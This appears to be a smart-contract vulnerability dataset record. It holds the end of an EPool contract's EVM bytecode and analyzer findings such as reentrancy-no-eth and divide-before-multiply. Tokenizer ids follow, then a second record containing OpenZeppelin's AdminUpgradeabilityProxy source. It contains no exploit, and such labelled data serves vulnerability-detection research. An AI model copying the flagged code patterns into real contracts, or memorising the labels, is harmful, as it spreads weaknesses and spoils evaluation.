16856001600160a01b031614156109a75760005b6005548110156109a557600460006005838154811061095f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902060030154610991908361312e565b91508061099d8161331e565b915050610930565b505b6040516370a0823160e01b815281906001600160a01b038716906370a08231906109d5903090600401612c93565b60206040518083038186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a259190612b23565b610a2f91906132db565b841115610a4e5760405162461bcd60e51b81526004016104fa90612f40565b610a626001600160a01b0386163386611d25565b7f6de8b63479ce07cf2dfc515e20a5c88a3a5bab6cbd76f753388b77e244ca70718585604051610a93929190612ce6565b60405180910390a1506001949350505050565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1b57600080fd5b505afa158015610b2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b539190612a70565b6001600160a01b0316336001600160a01b0316148190610b865760405162461bcd60e51b81526004016104fa9190612d86565b5060078390556040517fe92aa3ac048565d1668fe6ffad28e03b8cbeed2210cd1fdef353d88d7f8e694b90610539908590613097565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6000610bea611d80565b905090565b60065481565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6a57600080fd5b505afa158015610c7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca29190612a70565b6001600160a01b0316336001600160a01b0316148190610cd55760405162461bcd60e51b81526004016104fa9190612d86565b50610cdf83611eca565b50600192915050565b6001600160a01b0382166000908152600460205260408120600381015460028201548392918391610d19919061312e565b11610d365760405162461bcd60e51b81526004016104fa90612fa1565b80546040516370a0823160e01b81526001600160a01b03909116906370a0823190610d65903390600401612c93565b60206040518083038186803b158015610d7d57600080fd5b505afa158015610d91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db59190612b23565b841115610dd45760405162461bcd60e51b81526004016104fa90612e3b565b6040805160a08101825282546001600160a01b03168152600183015460208201526002830154918101919091526003820154606082015260048201546080820152610e63908560007f0000000000000000000000000000000000000000000000000de0b6b3a76400007f00000000000000000000000000000000000000000000000000000000000f4240611f20565b60028301549194509250610e789084906132db565b828260030154610e8891906132db565b600383015560028201558054604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90610ec39033908890600401612ce6565b602060405180830381600087803b158015610edd57600080fd5b505af1158015610ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f159190612aef565b5060095415610f7057600080610f2e8585600954612083565b9150915081600a54610f40919061312e565b81600b54610f4e919061312e565b600b55600a55610f5e82866132db565b610f6882866132db565b909550935050505b610fa46001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163385611d25565b610fd86001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48163384611d25565b846001600160a01b03167f6ccf4b3c348e324c7a3cc286369614139a347bbff3f2315520c87ce795c50dde8585853360405161101794939291906130ae565b60405180910390a2509250929050565b60095481565b600a5481565b61103b61297b565b506001600160a01b03808216600090815260046020818152604092839020835160a0810185528154909516855260018101549185019190915260028101549284019290925260038201546060840152015460808201525b919050565b600581815481106110a757600080fd5b6000918252602090912001546001600160a01b0316905081565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561113657600080fd5b505afa15801561114a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116e9190612a70565b6001600160a01b0316336001600160a01b03161481906111a15760405162461bcd60e51b81526004016104fa9190612d86565b506111ac84846120cc565b5060019392505050565b600a8054600b80546000918290559281905580546040805163f0eff64560e01b81529051929492611279926001600160a01b03169163f0eff645916004808301926020929190829003018186803b15801561121057600080fd5b505afa158015611224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112489190612a70565b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169084611d25565b6000546040805163f0eff64560e01b81529051611328926001600160a01b03169163f0eff645916004808301926020929190829003018186803b1580156112bf57600080fd5b505afa1580156112d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f79190612a70565b6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169083611d25565b60008054906101000a90046001600160a01b03166001600160a01b031663f0eff6456040518163ffffffff1660e01b815260040160206040518083038186803b15801561137457600080fd5b505afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac9190612a70565b6001600160a01b03167ff8189a937bc07f10a624e3f9a45a017d1c088e174ac23565d5bb937f690a7a1883836040516113e69291906130a0565b60405180910390a260019250505090565b6000806040518060400160405280601681526020017511541bdbdb0e881a5cdcdd585b98d9481c185d5cd95960521b81525060008054906101000a90046001600160a01b03166001600160a01b031663442162276040518163ffffffff1660e01b815260040160206040518083038186803b15801561147557600080fd5b505afa158015611489573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ad9190612aef565b8190156114cd5760405162461bcd60e51b81526004016104fa9190612d86565b506001600160a01b03808616600090815260046020818152604092839020835160a08101855281549095168552600181015491850191909152600281015492840192909252600382015460608401528101546080830152906115799086611532611d80565b7f0000000000000000000000000000000000000000000000000de0b6b3a76400007f00000000000000000000000000000000000000000000000000000000000f4240611f20565b6002830154919550935061158e90859061312e565b83826003015461159e919061312e565b6003830155600282015580546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906115d99033908990600401612ce6565b602060405180830381600087803b1580156115f357600080fd5b505af1158015611607573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162b9190612aef565b506116616001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163330876121c2565b6116966001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48163330866121c2565b856001600160a01b03167f99b554b7dd396926e9ca4dc2f8349b638f196fb693daf374c850139debc63447868686336040516116d594939291906130ae565b60405180910390a250509250929050565b60055460609067ffffffffffffffff81111561171257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561174b57816020015b61173861297b565b8152602001906001900390816117305790505b50905060005b60055481101561182457600460006005838154811061178057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301909120825160a0810184528154909416845260018101549184019190915260028101549183019190915260038101546060830152600401546080820152825183908390811061180657634e487b7160e01b600052603260045260246000fd5b6020026020010181905250808061181c9061331e565b915050611751565b5090565b600080600080611837856121e9565b600654939750919550935091508110156118635760405162461bcd60e51b81526004016104fa90612fd8565b600754600854611873919061312e565b4210156118925760405162461bcd60e51b81526004016104fa90612ea9565b4260085581611909576118cf6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163386611d25565b6119046001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48163330866121c2565b611972565b61193e6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163330876121c2565b6119726001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48163385611d25565b9193509193565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a269190612a70565b6001600160a01b0316336001600160a01b0316148190611a595760405162461bcd60e51b81526004016104fa9190612d86565b506005805410611a7b5760405162461bcd60e51b81526004016104fa90612dbe565b84611a985760405162461bcd60e51b81526004016104fa90612e72565b604051630acff0af60e21b81526000906001600160a01b037f0000000000000000000000003e2f548954a7f8169486936e2bb616aabce979e91690632b3fc2bc90611ae99088908890600401612d99565b602060405180830381600087803b158015611b0357600080fd5b505af1158015611b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3b9190612a70565b90506040518060a00160405280826001600160a01b03168152602001611b69836001600160a01b0316611c5e565b611b7490600a6131ac565b815260006020808301829052604080840183905260609384018b90526001600160a01b0380871680855260048085528386208851815494166001600160a01b031994851617815594880151600180870191909155888501516002870155968801516003860155608090970151939096019290925560058054948501815583527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db090930180549091168417905590517f4f07ccfd1b8dd69c100ce0f0a3f368aa28cadc543706f2fa14f813177703a1a69190a250600195945050505050565b6706f05b59d3b2000081565b60408051600481526024810182526020810180516001600160e01b031663313ce56760e01b1790529051600091829182916001600160a01b03861691611ca49190612c77565b600060405180830381855afa9150503d8060008114611cdf576040519150601f19603f3d011682016040523d82523d6000602084013e611ce4565b606091505b509150915081611d065760405162461bcd60e51b81526004016104fa90613052565b600081806020019051810190611d1c9190612bf4565b95945050505050565b611d7b8363a9059cbb60e01b8484604051602401611d44929190612ce6565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612411565b505050565b600080600160009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611dd157600080fd5b505afa158015611de5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e099190612ba5565b50505091505060035460001415611e5957600254611e477f0000000000000000000000000000000000000000000000000de0b6b3a76400008361327d565b611e519190613146565b9150506105a5565b600254611e867f0000000000000000000000000000000000000000000000000de0b6b3a76400008361327d565b611e909190613146565b611eba7f0000000000000000000000000000000000000000000000000de0b6b3a76400008061327d565b611ec49190613146565b91505090565b600080546001600160a01b0319166001600160a01b0383161790556040517f4ff638452bbf33c012645d18ae6f05515ff5f2d1dfb0cece8cbf018c60903f7090611f15908390612c93565b60405180910390a150565b60008086606001518760400151611f37919061312e565b611f8a576020870151600090611f4d868961327d565b611f579190613146565b9050611f7e85611f67838061327d565b611f719190613146565b89608001518888886124a0565b90935091506120799050565b600087600001516001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611fc957600080fd5b505afa158015611fdd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120019190612b23565b905080612015576000809250925050612079565b600081896020015189612028919061327d565b6120329190613146565b90508860200151896040015182612049919061327d565b6120539190613146565b9350886020015189606001518261206a919061327d565b6120749190613146565b925050505b9550959350505050565b600080670de0b6b3a7640000612099848761327d565b6120a39190613146565b9150670de0b6b3a76400006120b8848661327d565b6120c29190613146565b9050935093915050565b600180546001600160a01b0319166001600160a01b0384811691909117918290556040805163313ce56760e01b81529051929091169163313ce56791600480820192602092909190829003018186803b15801561212857600080fd5b505afa15801561213c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121609190612bf4565b61216b90600a6131ac565b600255801561217b57600161217e565b60005b60ff166003556040517f9aaad5d73fc4de1befd3e790b855dfdc6363f068e93abfdf01ad70681d31d0ce906121b69084908490612ccb565b60405180910390a15050565b6121e3846323b872dd60e01b858585604051602401611d4493929190612ca7565b50505050565b600080600080670de0b6b3a76400008511156122175760405162461bcd60e51b81526004016104fa90612f10565b60008080805b600554811015612347576000600460006005848154811061224e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190206002810154909150612284908661312e565b94506000806000612295848e612543565b92509250925080600014156122ec578284600201546122b491906132db565b8285600301546122c4919061312e565b600386015560028501556122d8838861329c565b6122e283886130ed565b9097509550612330565b8284600201546122fc919061312e565b82856003015461230c91906132db565b6003860155600285015561232083886130ed565b61232a838861329c565b90975095505b50505050808061233f9061331e565b91505061221d565b506000821380156123585750600081125b15612375578161236782613339565b90975095506001945061239d565b6000821280156123855750600081135b1561239d5761239382613339565b9650945060009350845b82156123c557826123b6670de0b6b3a76400008961327d565b6123c09190613146565b6123c8565b60005b93507fe219e81e936fbe5bc0195b0cc0755ef3e79c6910fc4398345d8b4c6c267fd40f878787876040516123ff94939291906130d2565b60405180910390a15050509193509193565b6000612466826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661263a9092919063ffffffff16565b805190915015611d7b57808060200190518101906124849190612aef565b611d7b5760405162461bcd60e51b81526004016104fa90613008565b6000806124b586670de0b6b3a764000061312e565b6124c7670de0b6b3a76400008961327d565b6124d19190613146565b6124db90886132db565b9150670de0b6b3a7640000836124f1888361312e565b8787612505670de0b6b3a76400008d61327d565b61250f9190613146565b612519919061327d565b6125239190613146565b61252d919061327d565b6125379190613146565b90509550959350505050565b600080600080612551611d80565b6040805160a08101825288546001600160a01b03168152600189015460208201526002890154918101919091526003880154606082015260048801546080820152909150600090819081906125e890857f0000000000000000000000000000000000000000000000000de0b6b3a76400007f00000000000000000000000000000000000000000000000000000000000f4240612653565b91945092509050670de0b6b3a7640000612602848a61327d565b61260c9190613146565b670de0b6b3a764000061261f848b61327d565b6126299190613146565b909a90995090975095505050505050565b6060612649848460008561273c565b90505b9392505050565b60008060008660800151612669888888886127fe565b10612675576000612678565b60015b60ff169050670de0b6b3a7640000858860800151612696919061327d565b6126a09190613146565b6126aa908661312e565b856126cd89604001516126c88b606001518c608001518c8c8c6128bc565b612911565b6126d7919061327d565b6126e19190613146565b9250670de0b6b3a764000086866126f8878761327d565b6127029190613146565b61270c919061327d565b6127169190613146565b9150821580612723575081155b15612732575060009150819050805b9450945094915050565b60608247101561275e5760405162461bcd60e51b81526004016104fa90612df5565b6127678561293c565b6127835760405162461bcd60e51b81526004016104fa90612f6a565b600080866001600160a01b0316858760405161279f9190612c77565b60006040518083038185875af1925050503d80600081146127dc576040519150601f19603f3d011682016040523d82523d6000602084013e6127e1565b606091505b50915091506127f1828286612942565b925050505b949350505050565b600084604001516000148061281557506060850151155b1561286157604085015115801561282e57506060850151155b1561283e575060808401516127f6565b604085015161284f575060006127f6565b606085015161286157506000196127f6565b81670de0b6b3a7640000866060015161287a919061327d565b6128849190613146565b670de0b6b3a76400008486886040015161289e919061327d565b6128a89190613146565b6128b2919061327d565b611d1c9190613146565b6000670de0b6b3a7640000838587856128d5858c61327d565b6128df9190613146565b6128e9919061327d565b6128f39190613146565b6128fd919061327d565b6129079190613146565b9695505050505050565b60008183116129295761292483836132db565b612933565b61293382846132db565b90505b92915050565b3b151590565b6060831561295157508161264c565b8251156129615782518084602001fd5b8160405162461bcd60e51b81526004016104fa9190612d86565b6040518060a0016040528060006001600160a01b03168152602001600081526020016000815260200160008152602001600081525090565b600082601f8301126129c3578081fd5b813567ffffffffffffffff808211156129de576129de613369565b604051601f8301601f19908116603f01168101908282118183101715612a0657612a06613369565b81604052838152866020858801011115612a1e578485fd5b8360208701602083013792830160200193909352509392505050565b805169ffffffffffffffffffff8116811461109257600080fd5b600060208284031215612a65578081fd5b813561264c8161337f565b600060208284031215612a81578081fd5b815161264c8161337f565b60008060408385031215612a9e578081fd5b8235612aa98161337f565b91506020830135612ab981613397565b809150509250929050565b60008060408385031215612ad6578182fd5b8235612ae18161337f565b946020939093013593505050565b600060208284031215612b00578081fd5b815161264c81613397565b600060208284031215612b1c578081fd5b5035919050565b600060208284031215612b34578081fd5b5051919050565b600080600060608486031215612b4f578081fd5b83359250602084013567ffffffffffffffff80821115612b6d578283fd5b612b79878388016129b3565b93506040860135915080821115612b8e578283fd5b50612b9b868287016129b3565b9150509250925092565b600080600080600060a08688031215612bbc578081fd5b612bc586612a3a565b9450602086015193506040860151925060608601519150612be860808701612a3a565b90509295509295909350565b600060208284031215612c05578081fd5b815160ff8116811461264c578182fd5b60008151808452612c2d8160208601602086016132f2565b601f01601f19169290920160200192915050565b80516001600160a01b03168252602080820151908301526040808201519083015260608082015190830152608090810151910152565b60008251612c898184602087016132f2565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015612d4157612d2e838551612c41565b9284019260a09290920191600101612d1b565b50909695505050505050565b901515815260200190565b6001600160a01b03959095168552602085019390935260408401919091526060830152608082015260a00190565b6000602082526129336020830184612c15565b600060408252612dac6040830185612c15565b8281036020840152611d1c8185612c15565b60208082526019908201527f45506f6f6c3a206d61782e207472616e63686520636f756e7400000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252601a908201527f45506f6f6c3a20696e73756666696369656e742045546f6b656e000000000000604082015260600190565b60208082526017908201527f45506f6f6c3a20746172676574526174696f203d3d2030000000000000000000604082015260600190565b60208082526016908201527511541bdbdb0e881dda5d1a1a5b881a5b9d195c9d985b60521b604082015260600190565b6020808252601b908201527f45506f6f6c3a2061626f7665206665652072617465206c696d69740000000000604082015260600190565b602080825260169082015275045506f6f6c3a206672616344656c7461203e20312e360541b604082015260600190565b60208082526010908201526f45506f6f6c3a206e6f2065786365737360801b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252601d908201527f45506f6f6c3a20696e73756666696369656e74206c6971756964697479000000604082015260600190565b60208082526016908201527511541bdbdb0e881b5a5b94911a5d881b9bdd081b595d60521b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526017908201527f546f6b656e5574696c733a206e6f20646563696d616c73000000000000000000604082015260600190565b60a081016129368284612c41565b90815260200190565b918252602082015260400190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260208401929092526040830152606082015260800190565b600080821280156001600160ff1b038490038513161561310f5761310f613353565b600160ff1b839003841281161561312857613128613353565b50500190565b6000821982111561314157613141613353565b500190565b60008261316157634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161317857506131a3565b81870482111561318a5761318a613353565b8086161561319757918102915b9490941c938002613169565b94509492505050565b600061293360001960ff8516846000826131c85750600161264c565b816131d55750600061264c565b81600181146131eb57600281146131f557613222565b600191505061264c565b60ff84111561320657613206613353565b6001841b91508482111561321c5761321c613353565b5061264c565b5060208310610133831016604e8410600b8410161715613255575081810a8381111561325057613250613353565b61264c565b6132628484846001613166565b80860482111561327457613274613353565b02949350505050565b600081600019048311821515161561329757613297613353565b500290565b60008083128015600160ff1b8501841216156132ba576132ba613353565b6001600160ff1b03840183138116156132d5576132d5613353565b50500390565b6000828210156132ed576132ed613353565b500390565b60005b8381101561330d5781810151838201526020016132f5565b838111156121e35750506000910152565b600060001982141561333257613332613353565b5060010190565b6000600160ff1b82141561334f5761334f613353565b0390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461339457600080fd5b50565b801515811461339457600080fdfea2646970667358221220c8e160cd5e375ad5d10f5306b4420bca69704e886c5469ea8df4a5240140881864736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 17788, 2620, 27531, 18939, 2549, 2063, 23352, 2063, 2683, 16409, 2278, 2546, 27531, 2575, 2063, 21084, 2692, 2620, 20842, 27531, 2509, 9818, 2575, 2094, 26187, 2620, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1015, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,060
0x96267a9781522498fd4c280b791bd135780693a1
// File: @openzeppelin/upgrades/contracts/upgradeability/Proxy.sol pragma solidity ^0.5.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: @openzeppelin/upgrades/contracts/utils/Address.sol pragma solidity ^0.5.0; /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: @openzeppelin/upgrades/contracts/upgradeability/BaseUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: @openzeppelin/upgrades/contracts/upgradeability/UpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } // File: @openzeppelin/upgrades/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // File: @openzeppelin/upgrades/contracts/upgradeability/AdminUpgradeabilityProxy.sol pragma solidity ^0.5.0; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } }
